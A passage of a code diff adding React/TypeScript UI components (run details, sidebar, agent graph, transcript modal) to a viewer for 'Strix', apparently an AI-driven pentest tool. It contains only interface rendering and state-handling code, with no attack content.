<dt className="text-[11px] uppercase tracking-wide text-[#666]">{label}</dt>
<dd className="min-w-0 break-words text-sm text-[#ddd]">{children}</dd>
</div>
);
}
export function RunDetails({
raw,
durationSeconds,
}: {
raw: Rec;
durationSeconds: number | null;
}) {
const [open, setOpen] = useState(true);
// Configuration (launch inputs)
const targets = arr(raw.targets_info).map((t) => {
const o = rec(t);
const display = str(o.original) ?? str(rec(o.details).target_url) ?? "unknown target";
const type = str(o.type);
return { display, type: type ? humanize(type) : null };
});
const instruction = str(raw.instruction);
const scanMode = cap(str(raw.scan_mode));
const scopeMode = str(raw.scope_mode);
const diff = rec(raw.diff_scope);
const diffActive = diff.active === true;
const diffMode = str(diff.mode);
const diffBase = str(raw.diff_base);
const nonInteractive = raw.non_interactive === true;
const localSources = arr(raw.local_sources).map((x) => String(x)).filter(Boolean);
const status = cap(str(raw.status));
let scope = scopeMode ?? "auto";
if (diffActive) {
scope += ` (diff${diffMode ? `: ${diffMode}` : ""}${diffBase ? ` vs ${diffBase}` : ""})`;
}
// Usage & cost
const usage = rec(raw.llm_usage);
const hasUsage = Object.keys(usage).length > 0;
const agents = arr(usage.agents).map(rec);
const models = Array.from(
new Set(agents.map((a) => str(a.model)).filter((m): m is string => !!m))
);
const requests = num(usage.requests);
const inputTokens = num(usage.input_tokens);
const cached = num(rec(arr(usage.input_tokens_details)[0]).cached_tokens);
const outputTokens = num(usage.output_tokens);
const reasoning = num(rec(arr(usage.output_tokens_details)[0]).reasoning_tokens);
const totalTokens = num(usage.total_tokens);
const cost = num(usage.cost);
const sub = (n: number, word: string) => (
<span className="text-[#666]"> ({formatNumber(n)} {word})</span>
);
return (
<div className="rounded-xl border border-[#222] bg-[rgba(255,255,255,0.02)] p-5">
<button
type="button"
onClick={() => setOpen((v) => !v)}
aria-expanded={open}
className="flex w-full cursor-pointer items-center gap-2 text-left"
>
<Info className="h-4 w-4 text-[#888]" aria-hidden="true" />
<h2 className="text-sm font-semibold text-white">Run details</h2>
{open ? (
<ChevronUp className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
) : (
<ChevronDown className="ml-auto h-4 w-4 text-[#666]" aria-hidden="true" />
)}
</button>
{open && (
<div className="mt-4 grid grid-cols-1 gap-x-8 gap-y-6 md:grid-cols-2">
<section>
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
Configuration
</h3>
<dl className="space-y-2.5">
{targets.length > 0 && (
<Field label="Targets">
<div className="space-y-1">
{targets.map((t, i) => (
<div key={i} className="flex flex-wrap items-center gap-2">
<span className="font-mono text-[#ddd]">{t.display}</span>
{t.type && (
<span className="rounded-full border border-[#2a2a2a] px-1.5 py-0.5 text-[10px] text-[#888]">
{t.type}
</span>
)}
</div>
))}
</div>
</Field>
)}
<Field label="Instruction">
{instruction ? (
<span className="whitespace-pre-wrap">{instruction}</span>
) : (
<span className="text-[#666]">None</span>
)}
</Field>
{scanMode && <Field label="Scan mode">{scanMode}</Field>}
<Field label="Scope">{scope}</Field>
<Field label="Mode">{nonInteractive ? "Non-interactive" : "Interactive"}</Field>
{localSources.length > 0 && (
<Field label="Local sources">
<div className="space-y-0.5 font-mono text-[#ddd]">
{localSources.map((s, i) => (
<div key={i}>{s}</div>
))}
</div>
</Field>
)}
{status && <Field label="Status">{status}</Field>}
</dl>
</section>
<section>
<h3 className="mb-3 text-[11px] font-semibold uppercase tracking-wide text-[#555]">
Usage &amp; cost
</h3>
{hasUsage ? (
<dl className="space-y-2.5 tabular-nums">
<Field label="Model">{models.length ? models.join(", ") : "n/a"}</Field>
<Field label="Run time">{fmtDuration(durationSeconds)}</Field>
{requests != null && <Field label="Requests">{formatNumber(requests)}</Field>}
{inputTokens != null && (
<Field label="Input tokens">
{formatNumber(inputTokens)}
{cached != null && sub(cached, "cached")}
</Field>
)}
{outputTokens != null && (
<Field label="Output tokens">
{formatNumber(outputTokens)}
{reasoning != null && sub(reasoning, "reasoning")}
</Field>
)}
{totalTokens != null && <Field label="Total tokens">{formatNumber(totalTokens)}</Field>}
{cost != null && <Field label="Cost">${cost.toFixed(2)}</Field>}
{agents.length > 0 && <Field label="Agents">{formatNumber(agents.length)}</Field>}
</dl>
) : (
<p className="text-sm text-[#666]">Not available yet.</p>
)}
</section>
</div>
)}
</div>
);
}
export default RunDetails;
@@ -0,0 +1,289 @@
import React, { useEffect, useState } from "react";
import {
FileText,
Bug,
Waypoints,
History,
Mail,
ArrowUpRight,
LogOut,
ShieldCheck,
PanelLeftClose,
PanelLeft,
} from "lucide-react";
import { SIGNUP_URL, ctaUrl, trackCta } from "@/lib/cta";
import { ProNavItem } from "@/components/ProCta";
import { FEATURES, PLATFORM_ORDER } from "@/lib/pro-features";
import type { View } from "@/App";
/**
* Persistent left rail. A single, ungrouped, ordered list of uniform two-line
* rows (icon + label + short one-liner): the current run's views, the local
* run-history + email-report actions, then the platform features. No section
* headers. Tier is shown only by the inline Pro/Enterprise tag on platform
* rows. Matches App.tsx's dark palette.
*
* Can collapse to a narrow icon-only rail; the collapsed state persists in
* localStorage and each icon row keeps a `title` tooltip so the labels stay
* discoverable.
*/
const COLLAPSE_KEY = "strix_viewer_sidebar_collapsed";
interface SidebarProps {
view: View;
onSelectView: (view: View) => void;
activeFeature: string | null;
onSelectFeature: (slug: string) => void;
issuesCount: number;
agentCount: number;
runCount: number;
finished: boolean;
verified: boolean;
email: string | null;
onOpenEmail: () => void;
onOpenHistory: () => void;
onForget: () => void;
}
export default function Sidebar({
view,
onSelectView,
activeFeature,
onSelectFeature,
issuesCount,
agentCount,
runCount,
finished,
verified,
email,
onOpenEmail,
onOpenHistory,
onForget,
}: SidebarProps) {
const [collapsed, setCollapsed] = useState(false);
useEffect(() => {
try {
setCollapsed(localStorage.getItem(COLLAPSE_KEY) === "1");
} catch {
/* localStorage may be unavailable; default to expanded */
}
}, []);
const toggleCollapsed = () => {
setCollapsed((prev) => {
const next = !prev;
try {
localStorage.setItem(COLLAPSE_KEY, next ? "1" : "0");
} catch {
/* best-effort persistence */
}
return next;
});
};
return (
<aside
className={`hidden flex-shrink-0 border-r border-[#222] lg:block ${collapsed ? "w-14" : "w-72"}`}
>
<div className="sticky top-0 flex h-screen flex-col overflow-y-auto px-3 py-4">
{/* Header: wordmark + Explore full platform + signed-in chip */}
<div className="px-1.5">
<div className={`flex items-center ${collapsed ? "flex-col gap-2" : "justify-between"}`}>
<a
href={ctaUrl("https://app.strix.ai", "logo")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("logo", "sidebar")}
className="flex items-center gap-1.5 opacity-90 transition-opacity hover:opacity-100"
title="Open Strix Cloud"
>
<img src="./logo.png" alt="Strix" className="h-8 w-10 object-cover" />
{!collapsed && (
<span className="text-base font-medium tracking-tight text-white">Strix</span>
)}
</a>
<button
onClick={toggleCollapsed}
title={collapsed ? "Expand sidebar" : "Collapse sidebar"}
aria-label={collapsed ? "Expand sidebar" : "Collapse sidebar"}
className="flex-shrink-0 cursor-pointer rounded-md p-1.5 text-[#666] transition-colors hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
>
{collapsed ? (
<PanelLeft className="h-4 w-4" aria-hidden="true" />
) : (
<PanelLeftClose className="h-4 w-4" aria-hidden="true" />
)}
</button>
</div>
<a
href={ctaUrl(SIGNUP_URL, "sidebar_start_free")}
target="_blank"
rel="noopener noreferrer"
onClick={() => trackCta("sidebar_start_free", "sidebar")}
title="Explore full platform"
className={`mt-3 flex w-full cursor-pointer items-center justify-center gap-1.5 rounded-lg bg-white font-semibold text-black transition-opacity hover:opacity-90 ${
collapsed ? "px-0 py-2" : "px-3 py-2 text-sm"
}`}
>
{!collapsed && "Explore full platform"}
<ArrowUpRight className="h-3.5 w-3.5" aria-hidden="true" />
</a>
{verified && email && (
collapsed ? (
<div
className="mt-2.5 flex items-center justify-center rounded-lg py-2"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
title={`Linked email: ${email}`}
>
<ShieldCheck className="h-3.5 w-3.5 flex-shrink-0 text-emerald-400" aria-hidden="true" />
</div>
) : (
<div
className="mt-2.5 flex items-center gap-2 rounded-lg px-2.5 py-2"
style={{ border: "1px solid #222", background: "rgba(255,255,255,0.02)" }}
>
<ShieldCheck className="h-3.5 w-3.5 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<div className="min-w-0 flex-1">
<p className="truncate text-[11px] text-[#666]">Linked email</p>
<p className="truncate text-xs text-[#aaa]" title={email}>{email}</p>
</div>
<button
onClick={onForget}
title="Forget this email on this machine"
className="flex-shrink-0 cursor-pointer text-[#666] transition-colors hover:text-white"
aria-label="Forget"
>
<LogOut className="h-3.5 w-3.5" />
</button>
</div>
)
)}
</div>
{/* One single ordered list, no section headers. */}
<div className="mt-6 space-y-0.5">
<NavItem
icon={FileText}
label="Overview"
desc="This run's executive report"
active={view === "overview"}
onClick={() => onSelectView("overview")}
collapsed={collapsed}
/>
<NavItem
icon={Bug}
label="Issues"
desc="Findings from this run"
count={issuesCount > 0 ? issuesCount : undefined}
active={view === "issues"}
onClick={() => onSelectView("issues")}
collapsed={collapsed}
/>
{agentCount > 0 && (
<NavItem
icon={Waypoints}
label="Agents"
desc="What each agent did"
count={agentCount}
active={view === "agents"}
onClick={() => onSelectView("agents")}
collapsed={collapsed}
/>
)}
<NavItem
icon={History}
label="Past runs"
desc="Every run on this machine"
count={runCount > 0 ? runCount : undefined}
active={view === "history"}
onClick={onOpenHistory}
collapsed={collapsed}
/>
{/* Emailing a report only makes sense once the run is complete; a
live scan would send a partial report, so hide it until finished. */}
{finished && (
<NavItem
icon={Mail}
label="Email report"
desc="Get an encrypted PDF by email"
active={view === "email"}
onClick={onOpenEmail}
collapsed={collapsed}
/>
)}
{PLATFORM_ORDER.map((slug) => {
const feature = FEATURES[slug];
if (!feature) return null;
return (
<ProNavItem
key={slug}
feature={feature}
active={view === "feature" && activeFeature === slug}
onClick={() => onSelectFeature(slug)}
collapsed={collapsed}
/>
);
})}
</div>
</div>
</aside>
);
}
function NavItem({
icon: Icon,
label,
desc,
count,
active,
onClick,
collapsed = false,
}: {
icon: React.ElementType;
label: string;
desc: string;
count?: number;
active?: boolean;
onClick: () => void;
collapsed?: boolean;
}) {
if (collapsed) {
return (
<button
onClick={onClick}
title={count != null ? `${label} (${count})` : label}
className={`flex w-full cursor-pointer items-center justify-center rounded-md px-2.5 py-2 transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="h-4 w-4 flex-shrink-0" aria-hidden="true" />
</button>
);
}
return (
<button
onClick={onClick}
className={`flex w-full cursor-pointer items-start gap-2.5 rounded-md px-2.5 py-1.5 text-left transition-colors ${
active
? "text-white"
: "text-[#888] hover:bg-[rgba(255,255,255,0.06)] hover:text-white"
}`}
style={active ? { background: "rgba(255,255,255,0.12)" } : undefined}
>
<Icon className="mt-0.5 h-4 w-4 flex-shrink-0" aria-hidden="true" />
<span className="min-w-0 flex-1">
<span className="flex items-center gap-1.5">
<span className="flex-1 truncate text-sm">{label}</span>
{count != null && <span className="text-xs text-[#666] tabular-nums">{count}</span>}
</span>
<span className="mt-0.5 block text-[11px] leading-snug text-[#666]">{desc}</span>
</span>
</button>
);
}
@@ -0,0 +1,51 @@
import { useState } from "react";
import { ShieldCheck, X } from "lucide-react";
const DISMISS_KEY = "strix_viewer_trust_dismissed";
/**
* One-time privacy notice, shown as a toast pinned over the sidebar. Dismissing
* it persists to localStorage so it never returns on reload or view changes.
*/
export function TrustToast({ message }: { message: string }) {
const [dismissed, setDismissed] = useState<boolean>(() => {
try {
return localStorage.getItem(DISMISS_KEY) === "1";
} catch {
return false;
}
});
if (dismissed) return null;
const dismiss = () => {
try {
localStorage.setItem(DISMISS_KEY, "1");
} catch {
/* non-fatal: worst case the toast shows again next session */
}
setDismissed(true);
};
return (
<div
className="fixed bottom-3 left-3 z-[60] max-w-xs rounded-lg bg-[#0a0a0a] p-3 shadow-2xl"
style={{ border: "1px solid #2a2a2a" }}
role="status"
>
<div className="flex gap-2.5">
<ShieldCheck className="mt-0.5 h-4 w-4 flex-shrink-0 text-emerald-400" aria-hidden="true" />
<p className="text-xs leading-relaxed text-[#aaa]">{message}</p>
<button
onClick={dismiss}
aria-label="Dismiss"
className="-mr-0.5 -mt-0.5 flex-shrink-0 cursor-pointer rounded p-0.5 text-[#666] transition-colors hover:text-white"
>
<X className="h-3.5 w-3.5" />
</button>
</div>
</div>
);
}
export default TrustToast;
@@ -0,0 +1,117 @@
import { useCallback, useEffect, useRef } from "react";
import { X } from "lucide-react";
import { AgentTranscript } from "./AgentTranscript";
import { ScanPromptComposer } from "./ScanPromptComposer";
import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource";
/** Status -> the small leading dot color, matching the graph node styling. */
const STATUS_DOT: Record<string, string> = {
completed: "bg-emerald-400",
running: "bg-blue-400",
waiting: "bg-yellow-400",
stopped: "bg-[#888]",
crashed: "bg-red-400",
failed: "bg-red-400",
};
/** Consider the user "at the bottom" within this many px. */
const NEAR_BOTTOM_PX = 80;
/**
* Overlay modal showing a single agent's full transcript. Matches the cloud
* app: a fixed-size panel with a pinned header (status dot + agent name), the
* transcript scrolling beneath it, and a footer. Auto-scrolls to follow new
* activity while the user is near the bottom (so a live run trails). Closes on
* backdrop click, the X button, or Escape.
*/
export function AgentDetailModal({
agent,
events,
steerable,
onClose,
}: {
agent: TranscriptAgent;
events: TranscriptEvent[];
steerable: boolean;
onClose: () => void;
}) {
const scrollRef = useRef<HTMLDivElement>(null);
const nearBottom = useRef(false);
const handleScroll = useCallback(() => {
const el = scrollRef.current;
if (!el) return;
nearBottom.current = el.scrollHeight - el.scrollTop - el.clientHeight < NEAR_BOTTOM_PX;
}, []);
// Follow new activity when the user is near the bottom (live trailing).
useEffect(() => {
const el = scrollRef.current;
if (!el || !nearBottom.current) return;
requestAnimationFrame(() => {
el.scrollTo({ top: el.scrollHeight, behavior: "smooth" });
});
}, [events]);
useEffect(() => {
const onKey = (e: KeyboardEvent) => {
if (e.key === "Escape") onClose();
};
document.addEventListener("keydown", onKey);
const prevOverflow = document.body.style.overflow;
document.body.style.overflow = "hidden";
return () => {
document.removeEventListener("keydown", onKey);
document.body.style.overflow = prevOverflow;
};
}, [onClose]);
return (
<div
className="fixed inset-0 z-50 flex items-center justify-center bg-black/70 p-4 sm:p-8"
onClick={onClose}
role="dialog"
aria-modal="true"
aria-label={`Agent ${agent.name}`}
>
<div
className="relative flex h-[80vh] w-full max-w-5xl flex-col rounded-xl border border-[#222] bg-[#0a0a0a] shadow-2xl"
onClick={(e) => e.stopPropagation()}
>
<div className="flex items-center justify-between gap-3 border-b border-[#222] px-5 py-3.5">
<div className="flex min-w-0 items-center gap-2">
<span
className={`h-2 w-2 flex-shrink-0 rounded-full ${STATUS_DOT[agent.status] ?? "bg-[#888]"}`}
/>
<span className="truncate text-sm font-semibold text-white">{agent.name}</span>
<span className="flex-shrink-0 font-mono text-xs text-[#555]">{agent.id}</span>
</div>
<button
type="button"
onClick={onClose}
aria-label="Close"
className="flex-shrink-0 rounded-md p-1 text-[#888] transition-colors hover:bg-[#1a1a1a] hover:text-white"
>
<X className="h-4 w-4" />
</button>
</div>
<div ref={scrollRef} onScroll={handleScroll} className="flex-1 overflow-y-auto p-5">
<AgentTranscript agent={agent} events={events} showHeader={false} />
</div>
{steerable && (
<div className="border-t border-[#222] px-5 py-3">
<ScanPromptComposer
agents={[agent]}
fixedAgentId={agent.id}
className="mt-0"
/>
</div>
)}
</div>
</div>
);
}
export default AgentDetailModal;
@@ -0,0 +1,254 @@
"use client";
import { useCallback, useEffect, useRef, useState } from "react";
import {
ReactFlow,
Background,
Controls,
MiniMap,
useNodesState,
useEdgesState,
useReactFlow,
type Node,
type Edge,
} from "@xyflow/react";
import dagre from "@dagrejs/dagre";
import AgentNodeComponent from "./AgentNode";
import GraphSkeleton from "./GraphSkeleton";
import type { AgentNode } from "@/types/events";
import "@xyflow/react/dist/style.css";
const NODE_WIDTH = 260;
const NODE_HEIGHT = 80;
const nodeTypes = { agentNode: AgentNodeComponent };
function getLayoutedElements(
agents: Map<string, AgentNode>,
selectedAgentId: string | null
) {
const g = new dagre.graphlib.Graph();
g.setDefaultEdgeLabel(() => ({}));
g.setGraph({ rankdir: "TB", nodesep: 60, ranksep: 80 });
const nodes: Node[] = [];
const edges: Edge[] = [];
for (const [id, agent] of agents) {
g.setNode(id, { width: NODE_WIDTH, height: NODE_HEIGHT });
nodes.push({
id,
type: "agentNode",
position: { x: 0, y: 0 },
data: { ...agent, isSelected: id === selectedAgentId },
});
if (agent.parentId && agents.has(agent.parentId)) {
const edgeId = `${agent.parentId}->${id}`;
g.setEdge(agent.parentId, id);
edges.push({
id: edgeId,
source: agent.parentId,
target: id,
style: { stroke: "#2a2a2a", strokeWidth: 1.5 },
});
}
}
dagre.layout(g);
for (const node of nodes) {
const pos = g.node(node.id);
if (pos) {
node.position = {
x: pos.x - NODE_WIDTH / 2,
y: pos.y - NODE_HEIGHT / 2,
};
}
}
return { nodes, edges };
}
const ZOOM_DURATION = 300;
/** Centers viewport on the root node (no parentId) at a fixed zoom — only once on first load */
function CenterOnRoot({ nodes }: { nodes: Node[] }) {
const { setCenter } = useReactFlow();
const hasCentered = useRef(false);
useEffect(() => {
if (nodes.length > 0 && !hasCentered.current) {
const root = nodes.find((n) => !(n.data as Record<string, unknown>).parentId);
const target = root ?? nodes[0];
hasCentered.current = true;
const cx = target.position.x + NODE_WIDTH / 2;
const cy = target.position.y + NODE_HEIGHT / 2;
setTimeout(() => setCenter(cx, cy, { zoom: 0.85, duration: 400 }), 60);
}
}, [nodes, setCenter]);
return null;
}
function SmoothControls() {
const { zoomIn, zoomOut, fitView } = useReactFlow();
return (
<Controls
position="bottom-right"
showZoom={false}
showFitView={false}
showInteractive={false}
className="!bg-transparent !border-none !shadow-none"
>
<div className="flex flex-col overflow-hidden rounded-lg border border-[#222]">
<button onClick={() => zoomIn({ duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] transition-colors" title="Zoom in">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M12 5v14M5 12h14" /></svg>
</button>
<button onClick={() => zoomOut({ duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] border-y border-[#222] transition-colors" title="Zoom out">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M5 12h14" /></svg>
</button>
<button onClick={() => fitView({ padding: 0.3, duration: ZOOM_DURATION })} className="flex items-center justify-center w-7 h-7 bg-[#111] text-white hover:bg-[#2a2a2a] transition-colors" title="Fit view">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" strokeWidth={2} className="w-3.5 h-3.5"><path d="M15 3h6v6M9 21H3v-6M21 3l-7 7M3 21l7-7" /></svg>
</button>
</div>
</Controls>
);
}
interface AgentGraphProps {
agents: Map<string, AgentNode>;
selectedAgentId: string | null;
onSelectAgent: (id: string | null) => void;
eventsLoaded?: boolean;
eventsEmpty?: boolean;
scanCompleted?: boolean;
}
export default function AgentGraph({
agents,
selectedAgentId,
onSelectAgent,
eventsLoaded,
eventsEmpty,
scanCompleted,
}: AgentGraphProps) {
const [nodes, setNodes, onNodesChange] = useNodesState<Node>([]);
const [edges, setEdges, onEdgesChange] = useEdgesState<Edge>([]);
useEffect(() => {
if (agents.size === 0) return;
const { nodes: ln, edges: le } = getLayoutedElements(agents, selectedAgentId);
setNodes(ln);
setEdges(le);
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [agents.size, setNodes, setEdges]);
// Sync agent data (status, name, etc.) into existing nodes without re-layout
useEffect(() => {
if (agents.size === 0) return;
setNodes((nds) =>
nds.map((n) => {
const agent = agents.get(n.id);
if (!agent) return n;
return { ...n, data: { ...agent, isSelected: n.id === selectedAgentId } };
})
);
}, [agents, selectedAgentId, setNodes]);
const nodeClickedRef = useRef(false);
const onNodeClick = useCallback(
(_: React.MouseEvent, node: Node) => {
nodeClickedRef.current = true;
onSelectAgent(node.id);
},
[onSelectAgent]
);
const onPaneClick = useCallback(() => {
if (nodeClickedRef.current) {
nodeClickedRef.current = false;
return;
}
onSelectAgent(null);
}, [onSelectAgent]);
// Convex responded, zero events — show empty state (not skeleton)
if (agents.size === 0 && eventsLoaded && eventsEmpty) {
return (
<div className="flex flex-col items-center justify-center h-full text-center px-4">
<div className="w-10 h-10 mb-3 rounded-full bg-[#111] flex items-center justify-center">
{scanCompleted ? (
<svg className="w-5 h-5 text-[#444]" fill="none" viewBox="0 0 24 24" stroke="currentColor" strokeWidth={1.5}>
<path strokeLinecap="round" strokeLinejoin="round" d="M3.75 6A2.25 2.25 0 0 1 6 3.75h2.25A2.25 2.25 0 0 1 10.5 6v2.25a2.25 2.25 0 0 1-2.25 2.25H6a2.25 2.25 0 0 1-2.25-2.25V6ZM3.75 15.75A2.25 2.25 0 0 1 6 13.5h2.25a2.25 2.25 0 0 1 2.25 2.25V18a2.25 2.25 0 0 1-2.25 2.25H6A2.25 2.25 0 0 1 3.75 18v-2.25ZM13.5 6a2.25 2.25 0 0 1 2.25-2.25H18A2.25 2.25 0 0 1 20.25 6v2.25A2.25 2.25 0 0 1 18 10.5h-2.25a2.25 2.25 0 0 1-2.25-2.25V6ZM13.5 15.75a2.25 2.25 0 0 1 2.25-2.25H18a2.25 2.25 0 0 1 2.25 2.25V18A2.25 2.25 0 0 1 18 20.25h-2.25a2.25 2.25 0 0 1-2.25-2.25v-2.25Z" />
</svg>
) : (
<div className="w-2 h-2 rounded-full bg-blue-500 animate-pulse" />
)}
</div>
<p className="text-sm text-[#555]">
{scanCompleted
? "Agent trace data is not available for this pentest"
: "Waiting for agent data\u2026"}
</p>
</div>
);
}
const showGraph = agents.size > 0;
return (
<div className="relative h-full">
{/* Skeleton overlay — fades out when graph is ready */}
<div
className={`absolute inset-0 z-10 transition-opacity duration-500 ${
showGraph ? "opacity-0 pointer-events-none" : "opacity-100"
}`}
>
<GraphSkeleton />
</div>
{/* Graph — fades in */}
<div
className={`h-full transition-opacity duration-500 ${
showGraph ? "opacity-100" : "opacity-0"
}`}
>
<ReactFlow
nodes={nodes}
edges={edges}
onNodesChange={onNodesChange}
onEdgesChange={onEdgesChange}
onNodeClick={onNodeClick}
onPaneClick={onPaneClick}
nodeTypes={nodeTypes}
nodesConnectable={false}
edgesFocusable={false}
edgesReconnectable={false}
minZoom={0.15}
maxZoom={1.5}
proOptions={{ hideAttribution: true }}
className="bg-black"
>
<Background color="#111" gap={20} />
<CenterOnRoot nodes={nodes} />
<SmoothControls />
<MiniMap
position="bottom-left"
nodeColor={(n) => {
const status = (n.data as Record<string, unknown>)?.status as string;
if (status === "running") return "#3b82f6";
if (status === "completed") return "#10b981";
if (status === "failed" || status === "error") return "#ef4444";
return "#555";
}}
maskColor="rgba(0,0,0,0.8)"
style={{ width: 80, height: 50 }}
className="!bg-[#0a0a0a] !border-[#222]"
/>
</ReactFlow>
</div>
</div>
);
}
@@ -0,0 +1,48 @@
"use client";
import { memo } from "react";
import { Handle, Position, type NodeProps } from "@xyflow/react";
import type { AgentNode as AgentNodeData } from "@/types/events";
const STATUS_STYLES: Record<string, string> = {
running: "bg-blue-500",
completed: "bg-emerald-500",
failed: "bg-red-500",
error: "bg-red-500",
};
function AgentNodeComponent({ data, selected }: NodeProps) {
const agent = data as unknown as AgentNodeData & { isSelected: boolean };
return (
<div
className={`w-[260px] rounded-lg border px-4 py-3 transition-colors ${
agent.isSelected || selected
? "border-white/30 bg-[#0a0a0a]"
: "border-[#222] bg-black hover:border-[#333]"
}`}
>
<Handle type="target" position={Position.Top} isConnectable={false} className={`!w-1.5 !h-1.5 !border-0 ${agent.parentId ? "!bg-[#444]" : "!bg-transparent"}`} />
<div className="flex items-center gap-2">
<span className="relative flex h-2 w-2 shrink-0">
<span
className={`absolute inline-flex h-full w-full rounded-full opacity-75 ${STATUS_STYLES[agent.status] ?? "bg-gray-500"} ${
agent.status === "running" ? "animate-ping" : ""
}`}
/>
<span
className={`relative inline-flex h-2 w-2 rounded-full ${STATUS_STYLES[agent.status] ?? "bg-gray-500"}`}
/>
</span>
<span className="text-sm font-semibold text-white leading-snug line-clamp-3">
{agent.name}
</span>
</div>
<Handle type="source" position={Position.Bottom} isConnectable={false} className={`!w-1.5 !h-1.5 !border-0 ${agent.children && agent.children.length > 0 ? "!bg-[#444]" : "!bg-transparent"}`} />
</div>
);
}
export default memo(AgentNodeComponent);
@@ -0,0 +1,302 @@
import { Component, useMemo, type ReactNode } from "react";
import { Brain, Bot } from "lucide-react";
import { getToolRenderer, getToolIcon } from "./tool-renderers";
import ChatBubble from "./tool-renderers/ChatBubble";
import type { ToolRendererProps, AgentNode as GraphAgentNode } from "@/types/events";
import type { TranscriptAgent, TranscriptEvent } from "@/data/serverSource";
/* ---------- Error boundary so one bad event never blanks the transcript ---------- */
class RendererErrorBoundary extends Component<
{ toolName: string; children: ReactNode },
{ hasError: boolean }
> {
constructor(props: { toolName: string; children: ReactNode }) {
super(props);
this.state = { hasError: false };
}
static getDerivedStateFromError() {
return { hasError: true };
}
render() {
if (this.state.hasError) {
return (
<span className="text-[#555] font-semibold text-sm">
{this.props.toolName.replace(/_/g, " ")}
</span>
);
}
return this.props.children;
}
}
function SafeToolRenderer(props: ToolRendererProps) {
const Renderer = getToolRenderer(props.toolName);
return (
<RendererErrorBoundary toolName={props.toolName}>
<Renderer {...props} />
</RendererErrorBoundary>
);
}
/* ---------- Value coercion ----------
* args/result arrive as either a JSON object or a Python-repr string
* ("{'thought': '...'}"). Try JSON, then a naive python->json pass, then wrap
* the raw string so the fallback renderer can display it. Never throws. */
function coerce(value: unknown): unknown {
if (value == null || typeof value !== "string") return value;
const t = value.trim();
if (!t) return value;
try {
return JSON.parse(t);
} catch {
/* not JSON */
}
try {
const jsonish = t
.replace(/\bNone\b/g, "null")
.replace(/\bTrue\b/g, "true")
.replace(/\bFalse\b/g, "false")
.replace(/'/g, '"');
return JSON.parse(jsonish);
} catch {
return { __raw: value };
}
}
function asRecord(value: unknown): Record<string, unknown> {
const c = coerce(value);
if (c && typeof c === "object" && !Array.isArray(c)) return c as Record<string, unknown>;
if (c == null) return {};
return { __raw: typeof c === "string" ? c : JSON.stringify(c) };
}
/** Numeric suffix of an event id ("tool_37" -> 37) for stable ordering. */
function eventSeq(id: string): number {
const m = /(\d+)$/.exec(id);
return m ? parseInt(m[1], 10) : 0;
}
/** A chat event whose author is the human/user (vs an assistant "thinking"). */
function isUserChat(event: TranscriptEvent): boolean {
const role = event.data?.role;
return event.type === "chat" && (role === "user" || role === "human");
}
/**
* Inter-agent message deliveries land in the recipient's session as user-role
* items prefixed with a header (see the engine's message formatter). They are
* already represented via the sending agent's tool renderer, so we never render
* them as chat bubbles here.
*/
function isInterAgentDelivery(event: TranscriptEvent): boolean {
return isUserChat(event) && String(event.data?.content ?? "").startsWith("[Message from ");
}
/**
* The reconstructed SDK session records every incoming user-role item for an
* agent: its initial input (the root's assembled brief, or a subagent's spawn /
* inherited-context prompt), inter-agent deliveries, AND genuine human steering
* messages sent live from the viewer or TUI. We only want the last group. Given
* an agent's events in order, hide the first user message (its initial input)
* and every inter-agent delivery; keep the rest, which are the human's live
* instructions, rendered as "User" bubbles.
*/
function hiddenUserEventIds(agentEventsInOrder: TranscriptEvent[]): Set<string> {
const hidden = new Set<string>();
let sawInitialInput = false;
for (const e of agentEventsInOrder) {
if (!isUserChat(e)) continue;
if (isInterAgentDelivery(e)) {
hidden.add(e.id);
continue;
}
if (!sawInitialInput) {
sawInitialInput = true;
hidden.add(e.id);
}
}
return hidden;
}
const STATUS_STYLE: Record<string, string> = {
completed: "text-emerald-400 border-emerald-500/30 bg-emerald-500/10",
running: "text-blue-400 border-blue-500/30 bg-blue-500/10",
waiting: "text-yellow-400 border-yellow-500/30 bg-yellow-500/10",
stopped: "text-[#aaa] border-[#333] bg-[#1a1a1a]",
crashed: "text-red-400 border-red-500/30 bg-red-500/10",
failed: "text-red-400 border-red-500/30 bg-red-500/10",
};
/** Map our engine agent statuses onto the graph node's status union. */
function graphStatus(status: string): GraphAgentNode["status"] {
if (status === "completed") return "completed";
if (status === "running") return "running";
if (status === "failed" || status === "crashed") return "failed";
// waiting / stopped / unknown → keep the raw string; AgentNode/MiniMap fall
// back to a neutral gray for anything they don't explicitly style.
return status as GraphAgentNode["status"];
}
/**
* Adapt transcript agents + events into the Map<id, AgentNode> that the live
* AgentGraph renders: children from parent_id, tool/message counts by scanning
* events, and a task pulled from the spawning create_agent call where present.
*/
export function buildGraphAgents(
agents: TranscriptAgent[],
events: TranscriptEvent[]
): Map<string, GraphAgentNode> {
const childrenOf = new Map<string, string[]>();
for (const a of agents) {
if (a.parent_id) {
const arr = childrenOf.get(a.parent_id) ?? [];
arr.push(a.id);
childrenOf.set(a.parent_id, arr);
}
}
const toolCount = new Map<string, number>();
const messageCount = new Map<string, number>();
// A create_agent call names the child but not its id, so map spawned tasks by
// agent NAME (best-effort — used only for the graph node subtitle).
const taskByName = new Map<string, string>();
for (const e of events) {
if (e.type === "tool") {
toolCount.set(e.agent_id, (toolCount.get(e.agent_id) ?? 0) + 1);
if (e.data?.tool_name === "create_agent") {
const args = asRecord(e.data.args);
const name = (args.name as string) ?? (args.agent_name as string) ?? "";
const task = (args.task as string) ?? "";
if (name && task) taskByName.set(name, task);
}
} else if (!isUserChat(e)) {
